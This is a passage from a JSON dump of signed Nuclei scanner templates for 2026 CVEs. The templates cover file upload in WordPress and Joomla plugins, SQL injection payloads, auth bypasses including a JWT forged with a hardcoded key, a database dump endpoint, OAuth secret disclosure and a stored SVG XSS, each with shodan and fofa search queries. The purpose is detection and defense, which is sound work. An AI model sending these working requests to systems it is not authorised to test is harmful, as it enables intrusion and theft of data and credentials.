4a0a0047304502206b229fc146f06a58bbc3d612a164568c001dc384f739f443b16f2c6a099d94ab02210099c53cbbcd7c2a07eff3f01df8f796f528e6a64cb4988305b003361748c2d80d:922c64590222798bb761d5b6d8e72950","severity":"high","template_path":"http/cves/2026/CVE-2026-57219.yaml","vuln_id":"cve-2026-57219"},{"raw":"id: CVE-2026-5718\n\ninfo:\n  name: Drag and Drop Multiple File Upload - CF7 <= 1.3.9.6 - Remote Code Execution\n  author: zer0p0int\n  severity: critical\n  description: |\n   Drag and Drop Multiple File Upload for Contact Form 7 WordPress plugin <= 1.3.9.6 contains an unrestricted file upload caused by insufficient file type validation and bypass of filename sanitization with non-ASCII characters, letting unauthenticated attackers upload arbitrary files and achieve remote code execution.\n  impact: |\n   Unauthenticated attackers can upload arbitrary files, potentially leading to remote code execution and full server compromise.\n  remediation: |\n   Update to the latest version beyond 1.3.9.6.\n  reference:\n    - https://nvd.nist.gov/vuln/detail/CVE-2026-5718\n    - https://wordpress.org/plugins/drag-and-drop-multiple-file-upload-contact-form-7/\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H\n    cvss-score: 9.8\n    cve-id: CVE-2026-5718\n    epss-score: 0.04175\n    epss-percentile: 0.90937\n    cwe-id: CWE-434\n  metadata:\n    verified: true\n    max-request: 5\n    vendor: codedropz\n    product: drag-and-drop-multiple-file-upload-contact-form-7\n    publicwww-query: \"/wp-content/plugins/drag-and-drop-multiple-file-upload-contact-form-7/\"\n  tags: cve,cve2026,wordpress,wp-plugin,file-upload,rce,intrusive,unauth,vkev\n\nvariables:\n  string: \"{{randstr}}\"\n  filename: \"{{to_lower(rand_text_alpha(6))}}\"\n\nflow: http(1) && http(2) && http(3) && http(4)\n\nhttp:\n  - method: GET\n    path:\n      - \"{{BaseURL}}/\"\n      - \"{{BaseURL}}/contact\"\n      - \"{{BaseURL}}/contact-us\"\n\n    stop-at-first-match: true\n    host-redirects: true\n    max-redirects: 2\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'status_code == 200'\n          - 'contains(body, \"_wpcf7\")'\n        internal: true\n        condition: and\n\n    extractors:\n      - type: regex\n        name: form_id\n        group: 1\n        part: body\n        regex:\n          - '_wpcf7\"(?:[^>]*value=\"|:)(\\d+)'\n        internal: true\n\n  - raw:\n      - |\n        POST /wp-admin/admin-ajax.php HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/x-www-form-urlencoded\n\n        action=_wpcf7_check_nonce\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'status_code == 200'\n          - 'contains(body, \"\\\"data\\\"\")'\n        internal: true\n        condition: and\n\n    extractors:\n      - type: regex\n        name: nonce\n        group: 1\n        part: body\n        regex:\n          - '\"data\":\"([a-f0-9]+)\"'\n        internal: true\n\n  - raw:\n      - |\n        POST /wp-admin/admin-ajax.php HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: multipart/form-data; boundary=---------------------------cf7dndboundary\n\n        -----------------------------cf7dndboundary\n        Content-Disposition: form-data; name=\"action\"\n\n        dnd_codedropz_upload\n        -----------------------------cf7dndboundary\n        Content-Disposition: form-data; name=\"security\"\n\n        {{nonce}}\n        -----------------------------cf7dndboundary\n        Content-Disposition: form-data; name=\"form_id\"\n\n        {{form_id}}\n        -----------------------------cf7dndboundary\n        Content-Disposition: form-data; name=\"upload_name\"\n\n        upload-file\n        -----------------------------cf7dndboundary\n        Content-Disposition: form-data; name=\"upload-file\"; filename=\"{{filename}}.php\"\n        Content-Type: application/octet-stream\n\n        {{string}}\n        -----------------------------cf7dndboundary--\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'status_code == 200'\n          - 'contains_all(body, \"\\\"success\\\":true\", \"\\\"file\\\"\")'\n        internal: true\n        condition: and\n\n    extractors:\n      - type: regex\n        name: renamed\n        group: 1\n        part: body\n        regex:\n          - '\"file\":\"([^\"]+)\"'\n        internal: true\n\n      - type: regex\n        name: path\n        group: 1\n        part: body\n        regex:\n          - '\"path\":\"([^\"]+)\"'\n        internal: true\n\n  - method: GET\n    path:\n      - \"{{BaseURL}}/wp-content/uploads/wp_dndcf7_uploads/{{path}}/{{renamed}}\"\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'status_code == 200'\n          - 'contains(body, string)'\n        condition: and\n# digest: 4b0a00483046022100a35adda084e6105a77057951aa3be56c2eeac2fae9a0e9a42c1de424bb16961a02210083655a97afcd2b38966bbe9d2480329f2815896fdc230be32507dbafa6902807:922c64590222798bb761d5b6d8e72950","severity":"critical","template_path":"http/cves/2026/CVE-2026-5718.yaml","vuln_id":"cve-2026-5718"},{"raw":"id: CVE-2026-56782\n\ninfo:\n  name: Gorse < 0.5.10 - Unauthenticated Database Dump\n  author: 0x_Akoko\n  severity: critical\n  description: |\n    Gorse < 0.5.10 contains an authentication bypass caused by empty admin_api_key in /api/dump and /api/restore endpoints, letting unauthenticated remote attackers access and modify protected data, exploit requires default empty admin_api_key configuration.\n  impact: |\n    Remote attackers can exfiltrate or overwrite the entire database including sensitive user data without authentication.\n  remediation: |\n    Update to version 0.5.10 or later.\n  reference:\n    - https://github.com/gorse-io/gorse/issues/1292\n    - https://nvd.nist.gov/vuln/detail/CVE-2026-56782\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H\n    cvss-score: 9.8\n    cve-id: CVE-2026-56782\n    epss-score: 0.03559\n    epss-percentile: 0.89364\n    cwe-id: CWE-306\n  metadata:\n    max-request: 2\n    verified: true\n    vendor: gorse-io\n    product: gorse\n    fofa-query: title=\"Gorse Dashboard\"\n  tags: cve,cve2026,gorse,unauth,exposure,misconfig\n\nflow: http(1) && http(2)\n\nhttp:\n  - raw:\n      - |\n        GET / HTTP/1.1\n        Host: {{Hostname}}\n\n    matchers:\n      - type: dsl\n        dsl:\n          - status_code == 200\n          - contains(tolower(body), \"gorse\")\n        condition: and\n        internal: true\n\n  - raw:\n      - |\n        GET /api/dump HTTP/1.1\n        Host: {{Hostname}}\n\n    matchers:\n      - type: dsl\n        dsl:\n          - status_code == 200\n          - contains(content_type, \"application/octet-stream\")\n          - \"!contains(body, 'unauthorized')\"\n        condition: and\n# digest: 4b0a00483046022100e53ba403827eef6f0c19d1e4462812acbf65857e58991adda887a181100116d5022100e260ce3209d215effae2bc848b96d90d50eb4862df28cbee52db5410a81629bd:922c64590222798bb761d5b6d8e72950","severity":"critical","template_path":"http/cves/2026/CVE-2026-56782.yaml","vuln_id":"cve-2026-56782"},{"raw":"id: CVE-2026-56681\n\ninfo:\n  name: 9router <=0.5.4 - Authentication Bypass\n  author: 0x_Akoko\n  severity: high\n  description: |\n    9Router prior to 0.5.6 contains an authentication bypass caused by trusting client-supplied X-9r-Real-Ip header in src/dashboardGuard.js, letting remote unauthenticated attackers access local API routes and consume resources, exploit requires bypassing API-key validation via header manipulation.\n  impact: |\n    Remote attackers can bypass API-key validation to use LLM providers, consume paid credits, and enumerate models without authorization.\n  remediation: |\n    Update to version 0.5.6 or later.\n  reference:\n    - https://github.com/advisories/GHSA-5mj8-gf6m-fhw8\n    - https://github.com/decolua/9router/security/advisories/GHSA-5mj8-gf6m-fhw8\n    - https://github.com/decolua/9router/commit/efd20be8d81ef2e256a7037f3aa78e6b567b5fd3\n    - https://github.com/decolua/9router/releases/tag/v0.5.6\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L\n    cvss-score: 7.3\n    cve-id: CVE-2026-56681\n    epss-score: 0.01114\n    epss-percentile: 0.66115\n    cwe-id: CWE-807\n  metadata:\n    verified: true\n    max-request: 2\n    shodan-query: http.html:\"9Router\"\n    fofa-query: body=\"9Router\"\n  tags: cve,cve2026,9router,auth-bypass,llm,unauth\n\nflow: http(1) && http(2)\n\nhttp:\n  - raw:\n      - |\n        GET /api/v1/models HTTP/1.1\n        Host: {{Hostname}}\n\n    matchers:\n      - type: dsl\n        internal: true\n        dsl:\n          - 'status_code == 401'\n          - 'contains(body, \"API key required for remote API access\")'\n        condition: and\n\n  - raw:\n      - |\n        GET /api/v1/models HTTP/1.1\n        Host: {{Hostname}}\n        X-9r-Real-Ip: 127.0.0.1\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'status_code == 200'\n          - 'contains(content_type, \"json\")'\n          - 'contains_all(body, \"owned_by\", \"object\", \"data\")'\n        condition: and\n# digest: 4a0a00473045022045ab1f9fac36d86a865a15323ae7a810bc4796d0bc825802055af69e41a7f308022100c8d2ee93fdd24f52c7cadacf5f32ed693a7b93b6c39adcfe029fd19d2ff2cfac:922c64590222798bb761d5b6d8e72950","severity":"high","template_path":"http/cves/2026/CVE-2026-56681.yaml","vuln_id":"cve-2026-56681"},{"raw":"id: CVE-2026-56292\n\ninfo:\n  name: AcyMailing < 10.11.1 - Unauthenticated SQL Injection\n  author: str4k3r\n  severity: critical\n  description: |\n    AcyMailing component for Joomla <10.11.1 contains a sql injection caused by improper input sanitization, letting attackers access unauthorized database data, exploit requires crafted input.\n  impact: |\n    Attackers can access and leak unauthorized database information, compromising data confidentiality.\n  remediation: |\n    Upgrade to version 10.11.1 or later.\n  reference:\n    - https://mysites.guru/blog/acymailing-sql-injection-disclosure/\n    - https://nvd.nist.gov/vuln/detail/CVE-2026-56292\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N\n    cvss-score: 7.5\n    cve-id: CVE-2026-56292\n    epss-score: 0.01381\n    epss-percentile: 0.72211\n    cwe-id: CWE-89\n  metadata:\n    verified: true\n    max-request: 1\n    vendor: acyba\n    product: acymailing\n    shodan-query: http.html:\"com_acym\"\n    fofa-query: body=\"com_acym\" || body=\"acymailing\"\n  tags: cve,cve2026,acymailing,joomla,wordpress,sqli,unauth\n\nhttp:\n  - raw:\n      - |\n        GET /index.php?option=com_acym&tmpl=component&ctrl=frontentityselect&task=loadEntityFront&offset=0&perCalls=500&entity=list&join&columns=id%2Cname&join_table=1%2CCONCAT%280x41435953%2CVERSION%28%29%2C0x454E4453%29%20AS%20acym_sqli HTTP/1.1\n        Host: {{Hostname}}\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'status_code == 200'\n          - 'contains_all(body, \"ACYS\", \"ENDS\", \"acym_sqli\")'\n        condition: and\n\n    extractors:\n      - type: regex\n        group: 1\n        regex:\n          - 'ACYS([0-9]+\\.[0-9]+\\.[0-9]+[^E]*)ENDS'\n# digest: 490a0046304402202104e5baae083708b0207e1cec6c60b2d32e2aecc136fe8f590a2275f180385e02204fbc11667b47fde4ff6ad83d733b00148798e0c2182fce351e0f932d5fc99793:922c64590222798bb761d5b6d8e72950","severity":"critical","template_path":"http/cves/2026/CVE-2026-56292.yaml","vuln_id":"cve-2026-56292"},{"raw":"id: CVE-2026-56291\n\ninfo:\n  name: Balbooa Forms < 2.4.1 - Unauthenticated Arbitrary File Upload\n  author: Nick Vidovic,0x_Akoko\n  severity: critical\n  description: |\n    Joomla Balbooa Forms contains an unrestricted file upload vulnerability caused by lack of authentication checks, letting unauthenticated attackers upload executable files and achieve remote code execution.\n  impact: |\n    Unauthenticated attackers can upload executable files, leading to full remote code execution and complete system compromise.\n  remediation: |\n    Update to the latest version of Balbooa Forms extension.\n  reference:\n    - https://nvd.nist.gov/vuln/detail/CVE-2026-56291\n    - https://www.cisa.gov/known-exploited-vulnerabilities-catalog\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H\n    cvss-score: 9.8\n    cve-id: CVE-2026-56291\n    epss-score: 0.14854\n    epss-percentile: 0.96705\n    cwe-id: CWE-434\n  metadata:\n    verified: false\n    max-request: 1\n    vendor: balbooa\n    product: forms\n    framework: joomla\n    fofa-query: body=\"com_baforms\"\n  tags: cve,cve2026,joomla,balbooa,baforms,file-upload,rce,vuln,kev,vkev\n\nvariables:\n  marker: \"{{to_lower(rand_base(8))}}\"\n\nflow: http(1) && http(2)\n\nhttp:\n  - raw:\n      - |\n        POST /index.php?option=com_baforms&task=form.uploadAttachmentFile&form_id=1 HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: multipart/form-data; boundary=----WebKitFormBoundary\n\n        ------WebKitFormBoundary\n        Content-Disposition: form-data; name=\"form_id\"\n\n        1\n        ------WebKitFormBoundary\n        Content-Disposition: form-data; name=\"file\"; filename=\"{{marker}}.txt\"\n        Content-Type: text/plain\n\n        CVE-2026-56291-{{marker}}\n        ------WebKitFormBoundary--\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'status_code == 200'\n        condition: and\n        internal: true\n\n  - raw:\n      - |\n        GET /images/baforms/uploads/form-0/{{marker}}.txt HTTP/1.1\n        Host: {{Hostname}}\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'status_code == 200'\n          - 'contains(body, \"CVE-2026-56291-{{marker}}\")'\n        condition: and\n# digest: 4a0a00473045022100c750a5f5aee8c90e1fd002fcdb97290882fc463109c764109ebfb5ef6c78f10402204e563fb85bbe61bad204f40675e328c29d931b64987ed23795e58eb0af63a265:922c64590222798bb761d5b6d8e72950","severity":"critical","template_path":"http/cves/2026/CVE-2026-56291.yaml","vuln_id":"cve-2026-56291"},{"raw":"id: CVE-2026-56290\n\ninfo:\n  name: Page Builder CK <= 3.5.10 - Unauthenticated Arbitrary File Upload\n  author: panchiko-p,0x_Akoko\n  severity: critical\n  description: |\n   Joomla Page Builder CK contains an unrestricted file upload vulnerability caused by lack of proper validation, letting unauthenticated attackers upload executable files and achieve remote code execution.\n  impact: |\n   Unauthenticated attackers can upload executable files, leading to full remote code execution and complete system compromise.\n  remediation: |\n   Update to the latest version of Page Builder CK.\n  reference:\n    - https://nvd.nist.gov/vuln/detail/CVE-2026-56290\n    - https://cxsecurity.com/issue/WLB-2026070010\n    - https://www.exploit-db.com/exploits/52626\n    - https://www.cisa.gov/known-exploited-vulnerabilities-catalog\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H\n    cvss-score: 9.8\n    cve-id: CVE-2026-56290\n    epss-score: 0.30866\n    epss-percentile: 0.98258\n    cwe-id: CWE-434\n  metadata:\n    verified: true\n    max-request: 3\n    vendor: joomlack\n    product: page_builder_ck\n    framework: joomla\n    shodan-query: http.html:\"com_pagebuilderck\"\n    fofa-query: body=\"com_pagebuilderck\"\n  tags: cve,cve2026,joomla,pagebuilderck,file-upload,rce,intrusive,kev,vkev\n\nvariables:\n  marker: \"{{to_lower(rand_base(8))}}\"\n\nflow: http(1) && http(2) && http(3)\n\nhttp:\n  - raw:\n      - |\n        GET / HTTP/1.1\n        Host: {{Hostname}}\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'status_code == 200'\n          - 'contains(body, \"csrf\")'\n        condition: and\n        internal: true\n\n    extractors:\n      - type: regex\n        name: csrf_token\n        group: 1\n        internal: true\n        regex:\n          - 'name=\"([a-f0-9]{32})\"\\s+value=\"1\"'\n          - 'csrf\\.token\"\\s*:\\s*\"([a-f0-9]{32})\"'\n\n  - raw:\n      - |\n        POST /index.php?option=com_pagebuilderck&task=browse.ajaxAddPicture&{{csrf_token}}=1 HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryPBCK\n        Referer: {{BaseURL}}/\n        Origin: {{BaseURL}}\n\n        ------WebKitFormBoundaryPBCK\n        Content-Disposition: form-data; name=\"path\"\n\n        media/com_pagebuilderck/gfonts/\n        ------WebKitFormBoundaryPBCK\n        Content-Disposition: form-data; name=\"file\"; filename=\"{{marker}}.txt\"\n        Content-Type: text/plain\n\n        CVE-2026-56290-{{marker}}\n        ------WebKitFormBoundaryPBCK--\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'status_code == 200'\n        condition: and\n        internal: true\n\n  - raw:\n      - |\n        GET /media/com_pagebuilderck/gfonts/{{marker}}.txt HTTP/1.1\n        Host: {{Hostname}}\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'status_code == 200'\n          - 'contains(body, \"CVE-2026-56290-{{marker}}\")'\n        condition: and\n# digest: 4a0a00473045022013b68a6d5ed43cd4326be34b9434b02de2fdd49a86d7a509b3408f4bc110b983022100aa65d8aab56313779d7eb579c9229a70a4bc2f6a5361e982d7788d9a68a4b36b:922c64590222798bb761d5b6d8e72950","severity":"critical","template_path":"http/cves/2026/CVE-2026-56290.yaml","vuln_id":"cve-2026-56290"},{"raw":"id: CVE-2026-56270\n\ninfo:\n  name: Flowise <= 3.0.13 - Unauthenticated OAuth Configuration Disclosure\n  author: 0x_Akoko,pdteam\n  severity: high\n  description: |\n    Flowise before 3.1.0 contains a missing authentication vulnerability in the /api/v1/loginmethod endpoint, allowing unauthenticated remote attackers to retrieve an organization's complete SSO configuration including OAuth client secrets by providing an organizationId parameter.\n  impact: |\n    Remote attackers can harvest sensitive OAuth client secrets, leading to potential unauthorized access to integrated services.\n  remediation: |\n    Upgrade to version 3.1.0 or later.\n  reference:\n    - https://github.com/FlowiseAI/Flowise/security/advisories/GHSA-6pcv-j4jx-m4vx\n    - https://nvd.nist.gov/vuln/detail/CVE-2026-56270\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N\n    cvss-score: 7.5\n    cve-id: CVE-2026-56270\n    epss-score: 0.02048\n    epss-percentile: 0.81272\n    cwe-id: CWE-306\n  metadata:\n    verified: true\n    max-request: 2\n    vendor: flowiseai\n    product: flowise\n    shodan-query: http.title:\"Flowise\"\n    fofa-query: title=\"Flowise\"\n  tags: cve,cve2026,flowise,unauth,disclosure,vkev\n\nflow: http(1) && http(2)\n\nhttp:\n  - raw:\n      - |\n        GET / HTTP/1.1\n        Host: {{Hostname}}\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'status_code == 200'\n          - 'contains(tolower(body), \"flowise\")'\n        condition: and\n        internal: true\n\n  - raw:\n      - |\n        GET /api/v1/loginmethod?organizationId=test HTTP/1.1\n        Host: {{Hostname}}\n        Accept: application/json\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'status_code != 401'\n          - 'contains_any(body, \"Invalid Organization Id\", \"assertEnterprisePlatform\", \"\\\"providers\\\"\", \"\\\"callbacks\\\"\")'\n        condition: and\n# digest: 4a0a00473045022100927637802cb1aaf5412d45a63390c5b788efff3f76e68c0763c7b4897d980ee50220397e6902092dbab399b5c8f258f561a4ff36a1814b8b7d83722a3ae3242e232b:922c64590222798bb761d5b6d8e72950","severity":"high","template_path":"http/cves/2026/CVE-2026-56270.yaml","vuln_id":"cve-2026-56270"},{"raw":"id: CVE-2026-56265\n\ninfo:\n  name: Crawl4AI < 0.8.7 - Hardcoded JWT Signing Key Authentication Bypass\n  author: prithvee07\n  severity: critical\n  description: |\n    Crawl4AI Docker API server versions before 0.8.7 ship with a hardcoded default JWT signing key (\"mysecret\") used to sign and verify HS256 authentication tokens. Because the key is identical across every deployment where SECRET_KEY has not been overridden, an unauthenticated attacker can forge a valid Bearer token and use it to access every JWT-protected API endpoint (/md, /html, /screenshot, /pdf, /execute_js, /crawl, /ask).\n  impact: |\n    Unauthenticated attackers can forge valid JWT authentication tokens and gain full access to protected Crawl4AI API endpoints (crawling, screenshot, PDF generation, JavaScript execution, and library context retrieval), resulting in complete compromise of the deployment's intended access control.\n  remediation: |\n    Upgrade Crawl4AI to version 0.8.7 or later, which removes the hardcoded default signing key, rejects known weak secrets, and auto-generates an ephemeral key when JWT authentication is enabled without an explicit SECRET_KEY. As a workaround, set the SECRET_KEY environment variable to a strong random value.\n  reference:\n    - https://github.com/unclecode/crawl4ai/security/advisories/GHSA-365w-hqf6-vxfg\n    - https://www.vulncheck.com/advisories/crawl4ai-authentication-bypass-via-hardcoded-jwt-signing-key\n    - https://github.com/unclecode/crawl4ai\n    - https://nvd.nist.gov/vuln/detail/CVE-2026-56265\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H\n    cvss-score: 9.8\n    cve-id: CVE-2026-56265\n    epss-score: 0.02639\n    epss-percentile: 0.85614\n    cwe-id: CWE-798\n  metadata:\n    verified: true\n    max-request: 2\n    vendor: unclecode\n    product: crawl4ai\n    shodan-query: http.html:\"crawl4ai\"\n    fofa-query: body=\"crawl4ai\"\n  tags: cve,cve2026,crawl4ai,auth-bypass,jwt,hardcoded-credentials,unauth\n\nvariables:\n  exp: \"{{unix_time(3600)}}\"\n  secret: \"mysecret\"\n  payload: '{\"scope\":\"data\",\"exp\":{{exp}}}'\n\nflow: http(1) && http(2)\n\nhttp:\n  - raw:\n      - |\n        GET /ask?context_type=code&query=crawl&max_results=1 HTTP/1.1\n        Host: {{Hostname}}\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'status_code == 401'\n          - 'contains(body, \"Authentication required\") || contains(body, \"No token provided\") || contains(body, \"Not authenticated\")'\n        condition: and\n        internal: true\n\n  - raw:\n      - |\n        GET /ask?context_type=code&query=crawl&max_results=1 HTTP/1.1\n        Host: {{Hostname}}\n        Authorization: Bearer {{generate_jwt(payload,\"HS256\",secret)}}\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'status_code == 200'\n          - 'contains(body, \"code_results\")'\n          - '!contains(body, \"Invalid or expired token\")'\n        condition: and\n\n    extractors:\n      - type: dsl\n        dsl:\n          - 'to_string(generate_jwt(payload,\"HS256\",secret))'\n# digest: 490a0046304402204583a9f590f0febb194d4d860da836c09b6a0c099e05a5aa110907df788cd30802202ecb5023d38d7ca1a1e5df49f344006a75a43b09f211d846fb4b59219708589d:922c64590222798bb761d5b6d8e72950","severity":"critical","template_path":"http/cves/2026/CVE-2026-56265.yaml","vuln_id":"cve-2026-56265"},{"raw":"id: CVE-2026-5615\n\ninfo:\n  name: VvvebJs <= 2.0.5 - Cross-Site Scripting\n  author: theamanrawat\n  severity: medium\n  description: |\n    Givanz Vvvebjs <= 2.0.5 contains a stored XSS caused by manipulation of the \"uploadAllowExtensions\" argument in upload.php File Upload Endpoint, letting remote attackers execute scripts, exploit requires crafted input.\n  impact: |\n    Remote attackers can execute arbitrary scripts, potentially leading to session hijacking or user impersonation.\n  remediation: |\n    Apply the patch 8cac22cff99b8bc701c408aa8e887fa702755336 or update to the fixed version.\n  reference:\n    - https://github.com/advisories/GHSA-p873-9x3v-gmvh\n    - https://github.com/givanz/VvvebJs\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N\n    cvss-score: 4.3\n    cve-id: CVE-2026-5615\n    epss-score: 0.00773\n    epss-percentile: 0.55828\n    cwe-id: CWE-79\n  metadata:\n    max-request: 2\n    verified: true\n    shodan-query: http.html:\"VvvebJs\"\n  tags: cve,cve2026,xss,stored-xss,file-upload,svg,vvvebjs\n\nflow: http(1) && http(2)\n\nhttp:\n  - raw:\n      - |\n        POST /upload.php HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: multipart/form-data; boundary=--nuclei{{randstr_1}}\n\n        ----nuclei{{randstr_1}}\n        Content-Disposition: form-data; name=\"file\"; filename=\"{{randstr}}.svg\"\n        Content-Type: image/svg+xml\n\n        <?xml version=\"1.0\" standalone=\"no\"?>\n        <svg xmlns=\"http://www.w3.org/2000/svg\" onload=\"alert(document.domain)\">\n        <text x=\"10\" y=\"20\">{{randstr}}</text>\n        </svg>\n        ----nuclei{{randstr_1}}--\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'status_code == 200'\n        internal: true\n\n    extractors:\n      - type: regex\n        name: upload_path\n        part: body\n        group: 0\n        regex:\n          - '/[a-zA-Z0-9_-]+\\.svg'\n        internal: true\n\n  - raw:\n      - |\n        GET {{upload_path}} HTTP/1.1\n        Host: {{Hostname}}\n\n    max-redirects: 2\n    matchers:\n      - type: dsl\n        dsl:\n          - 'contains_all(body, \"{{randstr}}\", \"<svg xmlns=\\\"http://www.w3.org/2000/svg\\\" onload=\\\"alert(document.domain)\\\">\")'\n          - 'contains(content_type, \"image/svg+xml\")'\n          - 'status_code == 200'\n        condition: and\n# digest: 4a0a00473045022100979cd90b787a6ac2c9ba721c1be2ae6683612ed61636f9828c9154680ccaaa63022020c7ac7810da5c5152aeff6e5ebe62f831788628bfad05f224468930d0067e82:922c64590222798bb761d5b6d8e72950","severity":"medium","template_path":"http/cves/2026/CVE-2026-5615.yaml","vuln_id":"cve-2026-5615"},{"raw":"id: CVE-2026-56070\n\ninfo:\n  name: Advance Product Search <= 1.4.4 - Unauthenticated Time-Based Blind SQL Injection\n  author: Abdullah Shahid (comradezephyr)\n  severity: critical\n  description: |\n    Advance Product Search 1.4.4 and earlier is vulnerable to unauthenticated time-based blind SQL injection. The plugin rebuilds the WordPress search SQL by hand and uses $wpdb->esc_like() which escapes LIKE wildcards but not single quotes, allowing injection through the ?s= parameter.\n  impact: |\n    Unauthenticated attackers can execute arbitrary SQL commands, potentially leading to data disclosure or modification.\n  remediation: |\n    Update to the latest version beyond 1.4.4.\n  reference:\n    - https://nvd.nist.gov/vuln/detail/CVE-2026-56070\n    - https://patchstack.com/database/wordpress/plugin/th-advance-product-search/vulnerability/wordpress-advance-product-search-plugin-1-4-4-sql-injection-vulnerability?_s_id=cve\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:L\n    cvss-score: 9.3\n    cve-id: CVE-2026-56070\n    epss-score: 0.01438\n    epss-percentile: 0.7323\n    cwe-id: CWE-89\n  metadata:\n    verified: true\n    max-request: 1\n    vendor: th-advance-product-search\n    product: advance-product-search\n    shodan-query: 'http.html:\"wp-content/plugins/th-advance-product-search/\"'\n    fofa-query: 'wp-content/plugins/th-advance-product-search/'\n  tags: cve,cve2026,wordpress,wp-plugin,th-advance-product-search,sqli,time-based-sqli\n\nhttp:\n  - raw:\n      - |\n        @timeout: 10s\n        GET /?s=x%27%20OR%20(SELECT%201%20FROM%20(SELECT%20SLEEP(6))a)%20OR%20%271%27%3D%271 HTTP/1.1\n        Host: {{Hostname}}\n\n    matchers:\n      - type: dsl\n        dsl:\n          - contains(body, \"wp-content/plugins/th-advance-product-search\")\n          - status_code == 200\n          - duration >= 6\n        condition: and\n# digest: 4a0a00473045022100bfa507aab31c9cbfdf43971fb9d64eac8dfe5d7b8094c7c98dd41f10f8a9c87b0220434f12634fc87e4ef2e2d9301d5632da4658cff84e454a2e133da539187723ae:922c64590222798bb761d5b6d8e72950","severity":"critical","template_path":"http/cves/2026/CVE-2026-56070.yaml","vuln_id":"cve-2026-56070"},{"raw":"id: CVE-2026-56062\n\ninfo:\n  name: Quotes llama <= 3.1.5 - SQL Injection\n  author: Abdullah Shahid (comradezephyr)\n  severity: critical\n  description: |\n    Quotes llama 3.1.5 and earlier contains a time-based blind SQL injection vulnerability caused by improper control of a SQL identifier. The select_search() AJAX handler (registered for guests via wp_ajax_nopriv_select_search) reads the attacker-controlled 'sc' parameter from $_POST and substitutes it into the query through the malformed wpdb placeholder '%1s'.\n  impact: |\n    An unauthenticated attacker can extract sensitive data from the WordPress database, including user credentials and other stored information, through time-based blind SQL injection.\n  remediation: |\n    Update the Quotes llama plugin to version 3.1.6 or later.\n  reference:\n    - https://nvd.nist.gov/vuln/detail/CVE-2026-56062\n    - https://patchstack.com/database/wordpress/plugin/quotes-llama/vulnerability/wordpress-quotes-llama-plugin-3-1-5-sql-injection-vulnerability\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:L\n    cvss-score: 9.3\n    cve-id: CVE-2026-56062\n    epss-score: 0.01438\n    epss-percentile: 0.7323\n    cwe-id: CWE-89\n  metadata:\n    verified: true\n    max-request: 2\n    vendor: quotes-llama\n    product: quotes_llama\n    shodan-query: 'http.html:\"wp-content/plugins/quotes-llama/\"'\n    fofa-query: 'wp-content/plugins/quotes-llama/'\n  tags: cve,cve2026,wordpress,wp-plugin,quotes-llama,sqli\n\nflow: |\n  if (http(1)) {\n    if (template[\"nonce\"] == \"\") {\n      stop();\n    }\n    http(2);\n  }\n\nhttp:\n  - raw:\n      - |\n        GET / HTTP/1.1\n        Host: {{Hostname}}\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'contains(body, \"/quotes-llama/\")'\n        internal: true\n\n    extractors:\n      - type: regex\n        name: nonce\n        internal: true\n        group: 1\n        part: body\n        regex:\n          - '(?:nonce=\"|ql_token\" value=\")([a-f0-9]{10})\"'\n\n  - raw:\n      - |\n        @timeout: 10s\n        POST /wp-admin/admin-ajax.php HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/x-www-form-urlencoded\n\n        action=select_search&nonce={{nonce}}&search_form=1&sc=(SELECT%201%20FROM%20(SELECT%20SLEEP(7))a)&term=nuclei\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'duration >= 7'\n          - 'status_code == 200'\n        condition: and\n# digest: 4b0a00483046022100e68c3db8212ebedd736e1cc854a59f223abec9a079743a09fdd61f710d2686bc022100cf160bbd9a85e4c3c1de8079509bf248a239f33d6b2429566c935a5956280d52:922c64590222798bb761d5b6d8e72950","severity":"critical","template_path":"http/cves/2026/CVE-2026-56062.yaml","vuln_id":"cve-2026-56062"},{"raw":"id: CVE-2026-55864\n\ninfo:\n  name: GeoNetwork - Server-Side Request Forgery (SSRF)\n  author: ashish-cybersec\n  severity: high\n  description: |\n    GeoNetwork versions 4.0.0 to 4.2.16 and 4.4.0 to 4.4.11 are vulnerable to an unauthenticated server-side request forgery (SSRF) in the SLD tool. The POST 